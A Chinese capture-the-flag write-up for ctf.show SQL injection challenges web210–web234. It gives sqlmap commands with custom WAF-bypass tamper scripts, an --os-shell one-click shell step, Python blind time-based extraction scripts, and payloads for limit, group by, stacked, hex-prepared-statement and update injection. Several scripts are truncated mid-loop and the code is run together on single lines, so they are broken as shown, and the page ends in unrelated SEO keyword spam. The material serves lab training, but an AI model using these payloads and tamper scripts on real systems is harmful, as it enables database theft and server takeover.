python2 sqlmap.py -u http://b34c15e0-d318-4afa-a8e1-9e4a306571c2.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --headers="Content-Type:text/plain" --safe-url="http://b34c15e0-d318-4afa-a8e1-9e4a306571c2.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --dump  --tamper=web210 --batch
#!/usr/bin/env pythonimport base64from lib.core.convert import encodeBase64from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():    passdef tamper(payload, **kwargs):    if payload:        payload = base64.b64encode(payload[::-1].encode("utf-8"))        payload = base64.b64encode(payload[::-1].encode("utf-8"))    return payload

web211~空格加编码

//对查询字符进行解密

function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}

那就先加个空格绕过,

python2 sqlmap.py -u http://c07a61ff-1abf-4836-aed1-c37bad8a566b.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --headers="Content-Type:text/plain" --safe-url="http://c07a61ff-1abf-4836-aed1-c37bad8a566b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia --dump  --tamper=web211 --batch
#!/usr/bin/env pythonimport base64from lib.core.convert import encodeBase64from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():    passdef tamper(payload, **kwargs):    """    Base64-encodes all characters in a given payload    >>> tamper("1' AND SLEEP(5)#")    'MScgQU5EIFNMRUVQKDUpIw=='    """    if payload:        payload = payload.replace(" ","/**/")        payload = base64.b64encode(payload[::-1].encode("utf-8"))        payload = base64.b64encode(payload[::-1].encode("utf-8"))    return payload

web212

//对查询字符进行解密

function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |*/', $str);
}

python2 sqlmap.py -u http://fa1a6ea9-f2ee-4da5-9e8a-cbbb0e31d125.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --headers="Content-Type:text/plain" --safe-url="http://fa1a6ea9-f2ee-4da5-9e8a-cbbb0e31d125.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis --dump  --tamper=web212 --batch
#!/usr/bin/env pythonimport base64from lib.core.convert import encodeBase64from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():    passdef space2comment(payload):    retVal = payload    if payload:        retVal = ""        quote, doublequote, firstspace = False, False, False        for i in xrange(len(payload)):            if not firstspace:                if payload[i].isspace():                    firstspace = True                    retVal += chr(0x0a)                    continue            elif payload[i] == '\'':                quote = not quote            elif payload[i] == '"':                doublequote = not doublequote            elif payload[i] == "*":                retVal += chr(0x31)                continue            elif payload[i] == "=":                retVal += chr(0x0a)+'like'+chr(0x0a)                continue            elif payload[i] == " " and not doublequote and not quote:                retVal += chr(0x0a)                continue            retVal += payload[i]    return retValdef tamper(payload, **kwargs):    if payload:        payload = space2comment(payload)        payload = payload.replace(" ","/**/")        payload = base64.b64encode(payload[::-1].encode("utf-8"))        payload = base64.b64encode(payload[::-1].encode("utf-8"))    return payload

web213~--os-shell

练习使用--os-shell 一键getshell

//对查询字符进行解密

function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |*/', $str);
}

https://zhuanlan.zhihu.com/p/58007573

python2 sqlmap.py -u http://4588589d-2509-4ce9-ae0a-7850a7a75f0d.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --headers="Content-Type:text/plain" --safe-url="http://4588589d-2509-4ce9-ae0a-7850a7a75f0d.chall.ctf.show/api/getToken.php" --safe-freq=1 --os-shell  --tamper=web212 --batch

直接getshell

六、时间盲注

web214~无过滤时间盲注

payload:

post:debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(2),0)

写个脚本:

自增法:

# @Author: yanmieimport requestsurl = "http://404d8d96-01d3-4d8e-a14e-aaf5c80a5d67.chall.ctf.show/api/"payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={},sleep(2),0)"i = 0table = ""while True:    i += 1    for j in range(127):        data = {            "debug" : 1,            "ip" : payload.format(i,j)        }        try:            response = requests.post(url=url,data=data,timeout=1)        except Exception as e:            break;    if j == 126:        break    table += chr(j)    print(table.lower())   # 得到 ctfshow_flagx,ctfthow_info

有点慢,在写个二分法:

# @Author: yanmieimport requestsurl = "http://1a8ae547-99fa-47fe-b1a2-7a163a579dcf.chall.ctf.show/api/"# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(2),0)"# 得到 ctfshow_flagx,ctfthow_info# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))>{},sleep(2),0)"# 得到 id,flaga,infopayload = "if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(3),0)"# 得到 flag i = 0result = ""while True:    i += 1    head = 0    tail =127    while head

web215~单引号闭合

//用了单引号

payload:

POST:debug=1&ip=1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(5),0) and '1'='1

脚本:

# @Author: yanmieimport requestsurl = "http://b8e578e0-8b1d-4e02-a389-41a12277e5e8.chall.ctf.show/api/"# payload = "1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),0) and '1'='1"# 得到 ctfshow_flagxc,ctfshow_infopayload = "1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))>{},sleep(5),0) and '1'='1"# 得到 id,flagaa,infopayload = "1' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1))>{},sleep(5),0) and '1'='1"# 得到 flagi = 0result = ""while True:    i += 1    head = 0    tail =127    while head

web216~括号闭合

where id = from_base64($id);

payload:

debug=1&ip=1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(5),0)and (1=1
# @Author: yanmieimport requestsurl = "http://5abfff46-12f9-4393-b2cc-6e1e1380b39f.chall.ctf.show/api/"# payload = "1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),0)and (1=1"# 得到 ctfshow_flagxcc,ctfshow_info# payload = "1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{},1))>{},sleep(5),0)and (1=1"# 得到 id,flagaac,infopayload = "1) or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1))>{},sleep(5),0) and (1=1"# 得到 flagi = 0result = ""while True:    i += 1    head = 0    tail =127    while head

web217~benchmark绕过sleep

查询语句

where id = ($id);

返回逻辑

//屏蔽危险分子

function waf($str){
return preg_match('/sleep/i',$str);
}

过滤了 sleep 。

但是还有其他函数, mysql 时间盲注五种延时方法

BENCHMARK(count,expr)
BENCHMARK会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率。
那我们就让他计算很多次,时间不就长了吗?比如BENCHMARK(21111111+1),大约3秒多(口数)

payload:

debug=1&ip=1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,BENCHMARK(21111111,1+1),0)and (1=1
# @Author: yanmieimport requestsurl = "http://146ccae4-2a48-4709-94be-49e0657a5056.chall.ctf.show/api/"# payload = "1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1"# 得到 ctfshow_flagxccb,ctfshow_info# payload = "1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1"# 得到 id,flagaabc,infopayload = "1) or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1"# 得到 flagi = 0result = ""while True:    i += 1    head = 0    tail =127    while head

web218~rlike正则匹配

function waf($str){
return preg_match('/sleep|benchmark/i',$str);

}

benchmark也过滤了。

不过不慌还可以通过RLIKE

rpad(str,len,padstr)
返回字符串str,右填充以字符串str中垫到len字符长度。如果str为大于len,返回值被缩短至len个字符。

repeat(str,count)
返回由字符串str重复count次的字符串。 如果计数小于1,则返回一个空字符串。返回NULL如果str或count为NULL。

like 的内容不是正则,而是通配符

rlike 的内容可以是正则

select rpad('a',2,'a') RLIKE concat(repeat('(a.*)+',2222222),'b');耗时 4 秒左右

但是从web有点奇怪,就只返回固定的一小段时间。差不多 1 秒。

换种方式,迪卡尔积

payload:

debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)

web219~笛卡尔积

function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);

}

过滤了rlike,,可以笛卡尔积。

debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)

web220

function waf($str){

return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

使用 ord 代替 ascii

使用 locate 代替 substr

使用笛卡尔积

六、其他注入

web221~limit注入

查询语句

//分页查询

$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

返回逻辑

//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢


LIMIT后面可以跟两个函数,PROCEDUREINTO,into需要写权限,一般不常见,但是PROCEDURE在msyql5.7以后已经弃用,8.0直接删除了。。。

P牛文章

payload:

http://1c1edfaa-f567-4fba-a04f-285c886e937d.chall.ctf.show/api/?page=2&limit=1 procedure  analyse(extractvalue(rand(),concat(0x3a,database())),1)

web222~group by注入

查询语句

//分页查询
$sql = select * from ctfshow_user group by $username;

返回逻辑

//TODO:很安全,不需要过滤

可使用盲注

payload

http://84f3c1f3-59e9-47e4-9855-c2af4f32432d.chall.ctf.show/api/?u=if((1=2),username,0)&page=2&limit=10

脚本:

# Author: yanmieimport requestsurl = "http://84f3c1f3-59e9-47e4-9855-c2af4f32432d.chall.ctf.show/api/"# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},username,0)"# 得到 ctfshow_flaga,ctfshow_user# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{},1))>{},username,0)"# 得到 id,flagaabc,infopayload = "if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{},1))>{},username,0)"# 得到flagresult = ""i = 0while True:    i += 1    head = 0    tail = 127    while head

web223~group过滤 数字

//用户名不能是数字

与上题一样,不过是过滤了数字.那就利用 true 为 1

payload:

http://b3adbf2f-6e3b-4d2c-965f-b95fe91cfeb7.chall.ctf.show/api/?u=if((true=true),username,'a')

脚本:

# Author: yanmieimport requestsurl = "http://b3adbf2f-6e3b-4d2c-965f-b95fe91cfeb7.chall.ctf.show/api/"# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},{}))>{},username,'a')"# 得到 ctfshow_flagas,ctfshow_user# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{},{}))>{},username,'a')"# 得到 id,flagasabc,infopayload = "if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{},{}))>{},username,'a')"# 得到 flagresult = ""i = 0def createNum(num):    if num==1:        return True    else:        res = "True"        for i in range(num-1):            res += "+True"        return reswhile True:    i += 1    head = 0    tail = 127    while head

web224~exif注入

可以看这里

七、堆叠注入

web225~预编译,handler

查询语句

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}

过滤了很多,但没过滤 show ,可以配合 hander 读数据

https://blog.51cto.com/15023289/2559944

payload

?username=1';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

还可以预编译

预编译也能用变量
SET @tn = 'hahaha';//存储表名
SET @sql = concat('select * from ', @tn);//存储SQL语句
PREPARE name from @sql;//预定义SQL语句
EXECUTE name;//执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;//删除预定义SQL语句

username=1';show tables;PREPARE name from concat('sel','ect * from ctfshow_flagasa');EXECUTE name;

web226~hex

if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){

die(json_encode($ret));
}

过滤了show和 括号,那就不能使用 concat 连接了。

使用十六进制编码

paylaod:

username=1';PREPARE name from 0x73686F77207461626C6573;EXECUTE name;username=1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE name;

web227~存储过程

存储过程。

参考:

https://www.runoob.com/w3cnote/mysql-stored-procedure.htmlhttps://blog.csdn.net/qq_41573234/article/details/80411079
# [http://da1dd134-9aac-46e1-942d-17dff2dd1c33.chall.ctf.show/api/?username=1%27;PREPARE](http://da1dd134-9aac-46e1-942d-17dff2dd1c33.chall.ctf.show/api/?username=1%27;PREPARE) name from 0x2053454C**4543542020202A20202046524F4D202020696E666F726D6174696F6E5F736368656D612E526F7574696E657320776865726520524F5554494E455F4E414D45203D27676574466C616727;EXECUTE name;

web228

还是可以转十六进制。

过滤内容:

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","char":"union"},{"id":"2","char":"file"},{"id":"3","char":"into"},{"id":"4","char":"handler"},{"id":"5","char":"db"},{"id":"6","char":"select"},{"id":"7","char":"update"},{"id":"8","char":"dump"},{"id":"9","char":"delete"},{"id":"10","char":"create"},{"id":"11","char":"drop"},{"id":"12","char":"show"},{"id":"13","char":"describe"},{"id":"14","char":"set"},{"id":"15","char":"alter"}]}

payload:

?username=1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161;EXECUTE name;

web229

十六进制。

payload:

?username=1';PREPARE name from 0x73656C656374202A2066726F6D20666C6167;EXECUTE name;

web230

还是十六进制预编译

?username=1';PREPARE name from 0x73656C656374202A2066726F6D20666C61676161626278;EXECUTE name;

八、update注入

web231~update注入

查询语句

//分页查询

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

payload:

password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())where 1#&username=1# 得到 banlist,ctfshow_user,flagapassword=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')where 1#&username=1# 得到 id,flagas,infopassword=1',username=(select group_concat(flagas) from flaga)where 1#&username=1# 得到flag

web232~单引号括号闭合

查询语句

//分页查询

$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

和上一题一样的,

只不过闭合方式发生了变化。

payload:

password=1'),username=(select group_concat(flagass) from flagaa)where 1#&username=1

web233~时间盲注

时间盲注,

payload:

password=1&username=ctfshow' and sleep(5) and '1'='1

脚本:

# @Author: yanmieimport requestsurl = "http://97240940-d8ac-45e4-92f4-4d4baeb81d18.chall.ctf.show/api/"# paylaod = "ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(0.5),1) and '1'='1"# 得到 banlist,ctfshow_user,flag233333# paylaod = "ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{},1))>{},sleep(0.5),1) and '1'='1"# 得到  id,flagass233,infopaylaod = "ctfshow' and if(ascii(substr((select group_concat(flagass233) from flag233333),{},1))>{},sleep(0.5),1) and '1'='1"result = ""i = 0while True:    i += 1    head = 0    tail = 127    while head

web234~单引号逃逸

过滤了单引号。可以利用\实现单引号逃逸。

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

此时查询语句:

$sql = "update ctfshow_user set pass = '\' where username = '\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#';";

password就会变为' where username =

payload:

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666C6167323361)#password=\&username=,username=(select flagass23s3 from flag23a)#

看完上述内容,你们掌握php中常见sql注入类型有哪些的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

语句 查询 用户 字符 密码 脚本 用户名 字符串 逻辑 空格 数据 成功 参数 内容 引号 数字 结果 时间 位置 函数 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 政治题维护网络安全的意义 软件开发质量管理领域资质 网络安全项目施工图 网络安全保护等级3级证书 中兴通讯的软件开发有什么部门 加强网络安全和舆论引导保障 江苏智能边缘计算服务器如何选择 电销pc端系统软件开发 好用的数据库功能简单点儿 鬼魂怎么连接服务器 华为软件开发云创新中心太原 手机版远程登录服务器linux 科维森成都网络技术有限公司 数据库查询05级男生的信息 easyui后台数据库操作 云平台软件开发相关法律问题 软件开发计划级别 广州游戏软件开发培训 泉州设备信息化管理软件开发 电脑方舟服务器怎么看 做软件开发什么笔记本 计算机网络技术学生专长 dns协议有网络安全问题吗 工控机服务器硬盘 阿里云服务器退费后备案怎么办 高速公路计算机网络安全 前端软件开发岗位很忙吗 数据库运维目标是什么 服务器内存用到笔记本 互联网科技纪录片
0